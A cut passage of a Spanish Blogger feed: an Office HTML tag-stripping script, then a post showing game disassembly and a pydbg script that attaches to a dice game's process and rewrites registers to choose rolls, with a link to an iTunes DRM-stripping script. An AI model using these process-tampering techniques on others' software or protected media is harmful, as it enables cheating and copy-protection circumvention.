style="color:#cc0000;"&gt;'!! No se ha encontrado tag final para posicion: %i !!'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;[&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;]&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;[&lt;/span&gt;&lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;len&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag1_i&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;elimina_tags&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;replace&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;''&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;replace&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;''&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;procesa_archivo&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuentaglobal&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;open&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'rb'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;read&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;reducir&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;elimina_tags&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;not&lt;/span&gt; &lt;span style="color:#000000;"&gt;debug&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:#000000;"&gt;os&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;rename&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'.backup'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Guardado backup '&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'.backup'&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Eliminados %i bytes'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;not&lt;/span&gt; &lt;span style="color:#000000;"&gt;debug&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:#000000;"&gt;open&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'wb'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;write&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;bin&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Guardada versi򬟲educida '&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;cuentaglobal&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;procesa&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;arg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;files&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;m&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;re&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;compile&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'\.(htm|html)$'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;re&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;I&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;for&lt;/span&gt; &lt;span style="color:#000000;"&gt;arch&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;in&lt;/span&gt; &lt;span style="color:#000000;"&gt;files&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;ppath&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;os&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;join&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;arch&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;os&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;isfile&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;ppath&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;and&lt;/span&gt; &lt;span style="color:#000000;"&gt;m&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;search&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;arch&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:#000000;"&gt;procesa_archivo&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;ppath&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;__name__&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'__main__'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;os&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;path&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;walk&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'.'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;procesa&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;None&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Reducidos %i bytes.'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuentaglobal&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Actualización:&lt;br /&gt;Resulta que Microsoft ya tiene un &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=209ADBEE-3FBD-482C-83B0-96FB79B74DED&amp;displaylang=EN"&gt;programita que te quita los tags, Office 2000 HTML Filter 2.0&lt;/a&gt;, bueno, fue divertido ;D &lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/python" rel="tag"&gt;python&lt;/a&gt; &lt;a href="http://technorati.com/tag/html" rel="tag"&gt;html&lt;/a&gt; &lt;a href="http://technorati.com/tag/office" rel="tag"&gt;office&lt;/a&gt; &lt;a href="http://technorati.com/tag/filtro" rel="tag"&gt;filtro&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116022694486745267?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116022694486745267/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116022694486745267&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116022694486745267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116022694486745267'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/10/reductor-de-html-para-pginas-generadas.html' title='Reductor de HTML para páginas generadas por office'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115688797713621847</id><published>2006-08-29T22:29:00.000+02:00</published><updated>2006-08-31T15:42:43.543+02:00</updated><title type='text'>pydbg: Debugear aplicaciones en win32 con python</title><content type='html'>Echando un vistazo a los blogs de &lt;a href="https://www.openrce.org/blog/browse/igorsk"&gt;openrce.org&lt;/a&gt; me he encontrado con esta perla: &lt;a href="http://hymn-project.org/forums/viewtopic.php?t=1553"&gt;QTFairUse6&lt;/a&gt;, se trata de un script python que hace uso del debbuger pydbg para extraer las canciones del iTunes, me ha maravillado el gracil uso de las funciones y como necesitaba probarlo como sea... pues he hecho unas pruebas con un juegecillo que ya estube &lt;a href="http://preachermm.blogspot.com/2005/08/mejorando-la-aleatoriedad-en-wancatan.html"&gt;modificando tiempo atrás&lt;/a&gt; :D&lt;br /&gt;&lt;br /&gt;Como ya conocía bien donde andan las rutinas de tiradas de dados solo había que volver a revisarlas y localizar los registros:&lt;br /&gt;&lt;pre class="codigo"&gt;CODE:00475204 ObtieneNumeroDados:                     ; CODE XREF: sub_475184+C3j&lt;br /&gt;CODE:00475204                 mov     eax, 6&lt;br /&gt;CODE:00475209                 call    XXX_Random&lt;br /&gt;CODE:0047520E                 mov     ebx, eax&lt;br /&gt;CODE:00475210                 inc     ebx&lt;br /&gt;CODE:00475211                 mov     eax, 6&lt;br /&gt;CODE:00475216                 call    XXX_Random&lt;br /&gt;CODE:0047521B                 mov     esi, eax&lt;br /&gt;CODE:0047521D                 inc     esi&lt;br /&gt;CODE:0047521E                 mov     eax, 6&lt;br /&gt;CODE:00475223                 call    XXX_Random&lt;br /&gt;CODE:00475228                 inc     eax&lt;br /&gt;CODE:00475229                 mov     [ebp+var_C], eax&lt;br /&gt;CODE:0047522C                 lea     eax, [esi+ebx]&lt;br /&gt;CODE:0047522F                 cmp     eax, 7&lt;br /&gt;CODE:00475232                 jnz     short loc_475249&lt;br /&gt;CODE:00475234                 mov     eax, ds:off_4A9C90&lt;br /&gt;CODE:00475239                 cmp     byte ptr [eax+37h], 0&lt;br /&gt;CODE:0047523D                 jz      short loc_475249&lt;br /&gt;CODE:0047523F                 mov     eax, ds:off_4A9EE8&lt;br /&gt;CODE:00475244                 cmp     dword ptr [eax], 3&lt;br /&gt;CODE:00475247                 jle     short ObtieneNumeroDados&lt;/pre&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/4765/1262/1600/01.png"&gt;&lt;img style="float:right; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/4765/1262/320/01.png" border="0" alt="" /&gt;&lt;/a&gt;Si observamos hay tres llamadas a XXX_Random que son las tres tiradas de dados, la primera para el tipo de turno en el modo de juego de caballeros y las 2 siguientes los dos dados de juego. Los valores tras hacer unas tiradas y revisar los valores de los registros con el ollydbg se almacenan respectivamente en los registros EAX, EBX y ESI. Si lo que queremos es modificar los dados hemos de modificar los registros anteriores en la posición CODE:00475229.&lt;br /&gt;&lt;br /&gt;Para ello preparamos un script que hará uso del &lt;a href="http://pedram.redhive.com/PaiMei/docs/PyDbg/"&gt;PyDbg&lt;/a&gt; para engancharse al proceso wancatan.exe y colocar un breakpoint en lap posición 0x475229:&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;modificaDados&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Modificando dados (%d,%d,%d)'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'EAX'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'EBX'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'ESI'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;pydbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;DBG_CONTINUE&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;attach&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;bp_set&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0x475229&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;handler&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;modificaDados&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;run&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;El funcionamiento como se ve es muy simple y extremadamente eficaz, le he hechado un ratillo y lo he montado sobre las wxPython para modificar a placer mediante una ventanita ;)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/4765/1262/1600/02.0.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/4765/1262/400/02.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;El código completo (requiere pydbg, ctypes y wxpython):&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;span style="color:#999;"&gt;#C:/Python24/python.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#999;"&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;import&lt;/span&gt; &lt;span style="color:#000000;"&gt;pydbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;sys&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;struct&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;from&lt;/span&gt; &lt;span style="color:#000000;"&gt;threading&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;import&lt;/span&gt; &lt;span style="color:#000000;"&gt;Thread&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#999;"&gt;#------------------------------------------------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#999;"&gt;# Interfaz gráfico&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;class&lt;/span&gt; &lt;span style="color:#000000;"&gt;selector&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Panel&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;__init__&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;parent&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;id&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Panel&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;__init__&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;parent&lt;/span&gt;&lt;span 